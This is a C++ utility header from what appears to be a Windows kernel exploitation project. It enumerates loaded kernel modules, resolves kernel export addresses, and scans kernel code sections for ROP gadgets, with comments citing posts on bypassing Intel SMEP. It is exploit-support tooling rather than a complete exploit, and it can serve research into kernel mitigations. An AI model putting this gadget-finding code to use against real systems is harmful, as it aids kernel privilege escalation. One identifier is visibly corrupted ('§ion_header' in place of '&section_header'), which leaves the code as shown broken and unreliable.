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397 lines
11 KiB
397 lines
11 KiB
/*
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WARNING: utils.hpp must be the first file included...
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this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
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*/
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#pragma once
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#define _CRT_SECURE_NO_WARNINGS
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#pragma comment(lib, "ntdll.lib")
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#include <Windows.h>
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#include <winternl.h>
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#include <ntstatus.h>
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#include <tlhelp32.h>
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#include <functional>
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#include <cstdint>
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#include <string>
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#include <vector>
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#include <map>
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#include "ia32.hpp"
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typedef struct _RTL_PROCESS_MODULE_INFORMATION
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{
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HANDLE Section;
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PVOID MappedBase;
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PVOID ImageBase;
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ULONG ImageSize;
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ULONG Flags;
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USHORT LoadOrderIndex;
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USHORT InitOrderIndex;
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USHORT LoadCount;
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USHORT OffsetToFileName;
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UCHAR FullPathName[256];
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} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
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typedef struct _RTL_PROCESS_MODULES
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{
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ULONG NumberOfModules;
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RTL_PROCESS_MODULE_INFORMATION Modules[1];
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} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
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#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
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typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
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{
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struct
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{
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ULONG KvaShadowEnabled : 1;
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ULONG KvaShadowUserGlobal : 1;
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ULONG KvaShadowPcid : 1;
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ULONG KvaShadowInvpcid : 1;
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ULONG KvaShadowRequired : 1;
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ULONG KvaShadowRequiredAvailable : 1;
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ULONG InvalidPteBit : 6;
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ULONG L1DataCacheFlushSupported : 1;
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ULONG L1TerminalFaultMitigationPresent : 1;
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ULONG Reserved : 18;
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} KvaShadowFlags;
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} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
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namespace utils
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{
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inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
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{
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static const auto check_mask =
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[&](const char* base, const char* pattern, const char* mask) -> bool
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{
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for (; *mask; ++base, ++pattern, ++mask)
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if (*mask == 'x' && *base != *pattern)
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return false;
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return true;
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};
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size -= strlen(mask);
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for (auto i = 0; i <= size; ++i)
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{
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void* addr = (void*)&(((char*)base)[i]);
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if (check_mask((char*)addr, pattern, mask))
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return reinterpret_cast<std::uintptr_t>(addr);
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}
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return NULL;
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}
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inline std::uint32_t get_pid(const wchar_t* proc_name)
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{
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PROCESSENTRY32 proc_info;
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proc_info.dwSize = sizeof(proc_info);
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HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
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if (proc_snapshot == INVALID_HANDLE_VALUE)
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return NULL;
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Process32First(proc_snapshot, &proc_info);
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if (!wcscmp(proc_info.szExeFile, proc_name))
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{
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CloseHandle(proc_snapshot);
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return proc_info.th32ProcessID;
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}
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while (Process32Next(proc_snapshot, &proc_info))
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{
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if (!wcscmp(proc_info.szExeFile, proc_name))
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{
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CloseHandle(proc_snapshot);
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return proc_info.th32ProcessID;
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}
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}
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CloseHandle(proc_snapshot);
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return NULL;
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}
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namespace kmodule
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{
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using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
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inline void each_module(kmodule_callback_t callback)
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{
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void* buffer = nullptr;
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DWORD buffer_size = NULL;
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auto status = NtQuerySystemInformation(
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static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
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buffer, buffer_size, &buffer_size);
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while (status == STATUS_INFO_LENGTH_MISMATCH)
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{
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VirtualFree(buffer, NULL, MEM_RELEASE);
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buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
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status = NtQuerySystemInformation(
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static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
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buffer, buffer_size, &buffer_size);
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}
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if (!NT_SUCCESS(status))
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{
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VirtualFree(buffer, NULL, MEM_RELEASE);
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return;
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}
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const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
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for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
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{
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auto full_path = std::string(
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reinterpret_cast<char*>(
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modules->Modules[idx].FullPathName));
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if (full_path.find("\\SystemRoot\\") != std::string::npos)
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full_path.replace(full_path.find("\\SystemRoot\\"),
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sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
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else if (full_path.find("\\??\\") != std::string::npos)
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full_path.replace(full_path.find("\\??\\"),
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sizeof("\\??\\") - 1, "");
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if (!callback(&modules->Modules[idx], full_path.c_str()))
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{
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VirtualFree(buffer, NULL, MEM_RELEASE);
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return;
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}
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}
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VirtualFree(buffer, NULL, MEM_RELEASE);
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return;
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}
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inline std::uintptr_t get_base(const char* module_name)
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{
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void* buffer = nullptr;
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DWORD buffer_size = NULL;
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auto status = NtQuerySystemInformation(
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static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
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buffer, buffer_size, &buffer_size);
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while (status == STATUS_INFO_LENGTH_MISMATCH)
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{
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VirtualFree(buffer, NULL, MEM_RELEASE);
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buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
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status = NtQuerySystemInformation(
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static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
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buffer, buffer_size, &buffer_size);
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}
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if (!NT_SUCCESS(status))
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{
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VirtualFree(buffer, NULL, MEM_RELEASE);
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return NULL;
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}
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const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
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for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
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{
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const auto current_module_name =
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std::string(reinterpret_cast<char*>(
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modules->Modules[idx].FullPathName) +
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modules->Modules[idx].OffsetToFileName);
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if (!_stricmp(current_module_name.c_str(), module_name))
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{
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const auto result =
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reinterpret_cast<std::uint64_t>(
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modules->Modules[idx].ImageBase);
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VirtualFree(buffer, NULL, MEM_RELEASE);
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return result;
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}
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}
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VirtualFree(buffer, NULL, MEM_RELEASE);
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return NULL;
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}
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inline std::uintptr_t get_export(const char* module_name, const char* export_name)
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{
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void* buffer = nullptr;
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DWORD buffer_size = NULL;
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NTSTATUS status = NtQuerySystemInformation(
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static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
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buffer,
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buffer_size,
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&buffer_size
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);
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while (status == STATUS_INFO_LENGTH_MISMATCH)
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{
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VirtualFree(buffer, 0, MEM_RELEASE);
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buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
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status = NtQuerySystemInformation(
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static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
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buffer,
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buffer_size,
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&buffer_size
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);
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}
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if (!NT_SUCCESS(status))
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{
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VirtualFree(buffer, 0, MEM_RELEASE);
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return NULL;
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}
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const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
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for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
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{
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// find module and then load library it
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const std::string current_module_name =
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std::string(reinterpret_cast<char*>(
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modules->Modules[idx].FullPathName) +
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modules->Modules[idx].OffsetToFileName
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);
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if (!_stricmp(current_module_name.c_str(), module_name))
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{
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auto full_path = std::string(
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reinterpret_cast<char*>(
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modules->Modules[idx].FullPathName));
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full_path.replace(full_path.find("\\SystemRoot\\"),
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sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
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const auto module_base =
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LoadLibraryExA(
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full_path.c_str(),
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NULL,
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DONT_RESOLVE_DLL_REFERENCES
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);
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const auto image_base =
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reinterpret_cast<std::uintptr_t>(
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modules->Modules[idx].ImageBase);
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// free the RTL_PROCESS_MODULES buffer...
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VirtualFree(buffer, NULL, MEM_RELEASE);
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const auto rva =
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reinterpret_cast<std::uintptr_t>(
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GetProcAddress(module_base, export_name)) -
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reinterpret_cast<std::uintptr_t>(module_base);
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return image_base + rva;
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}
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}
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VirtualFree(buffer, NULL, MEM_RELEASE);
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return NULL;
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}
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}
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namespace pe
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{
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using section_callback_t = std::function<bool(PIMAGE_SECTION_HEADER, std::uintptr_t)>;
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// returns an std::vector containing all of the bytes of the section
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// and also the RVA from the image base to the beginning of the section...
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inline std::pair<std::vector<std::uint8_t>, std::uint32_t> get_section(std::uintptr_t module_base, const char* section_name)
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{
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const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
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reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
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const auto section_header =
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reinterpret_cast<PIMAGE_SECTION_HEADER>(
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reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
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+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
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for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
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{
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const auto _section_name =
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reinterpret_cast<char*>(
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section_header[idx].Name);
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// sometimes section names are not null terminated...
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if (!strncmp(_section_name, section_name, strlen(section_name) - 1))
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{
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const auto section_base =
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reinterpret_cast<std::uint8_t*>(
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module_base + section_header[idx].VirtualAddress);
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const auto section_end =
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reinterpret_cast<std::uint8_t*>(
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section_base + section_header[idx].Misc.VirtualSize);
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std::vector<std::uint8_t> section_bin(section_base, section_end);
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return { section_bin, section_header[idx].VirtualAddress };
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}
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}
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return { {}, {} };
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}
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inline void each_section(section_callback_t callback, std::uintptr_t module_base)
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{
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if (!module_base)
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return;
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const auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(
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reinterpret_cast<PIMAGE_DOS_HEADER>(module_base)->e_lfanew + module_base);
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const auto section_header =
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reinterpret_cast<PIMAGE_SECTION_HEADER>(
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reinterpret_cast<std::uintptr_t>(nt_headers) + sizeof(DWORD)
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+ sizeof(IMAGE_FILE_HEADER) + nt_headers->FileHeader.SizeOfOptionalHeader);
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for (auto idx = 0u; idx < nt_headers->FileHeader.NumberOfSections; ++idx)
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{
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const auto _section_name =
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reinterpret_cast<char*>(
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section_header[idx].Name);
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// keep looping until the callback returns false...
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if (!callback(§ion_header[idx], module_base))
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return;
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}
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}
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}
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namespace rop
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{
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// https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/
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// http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html?m=1
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// just implimented the rop information from these posts...
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inline std::uintptr_t find_kgadget(const char* sig, const char* mask)
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{
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std::uintptr_t result = 0u;
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kmodule::each_module(
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[&](auto kernel_image, const char* image_name) -> bool
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{
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utils::pe::each_section(
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[&](auto section_header, std::uintptr_t image_base) -> bool
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{
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if (section_header->Characteristics & IMAGE_SCN_CNT_CODE &&
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!(section_header->Characteristics & IMAGE_SCN_MEM_DISCARDABLE))
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{
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const auto rop_gadget =
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utils::scan(image_base + section_header->VirtualAddress,
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section_header->Misc.VirtualSize, sig, mask);
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if(rop_gadget)
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result = (rop_gadget - image_base) +
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reinterpret_cast<std::uintptr_t>(kernel_image->ImageBase);
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return !rop_gadget;
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}
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return true;
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},
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reinterpret_cast<std::uintptr_t>(
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LoadLibraryExA(image_name,
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NULL, DONT_RESOLVE_DLL_REFERENCES))
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);
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return !result;
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}
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);
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return result;
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}
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}
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} |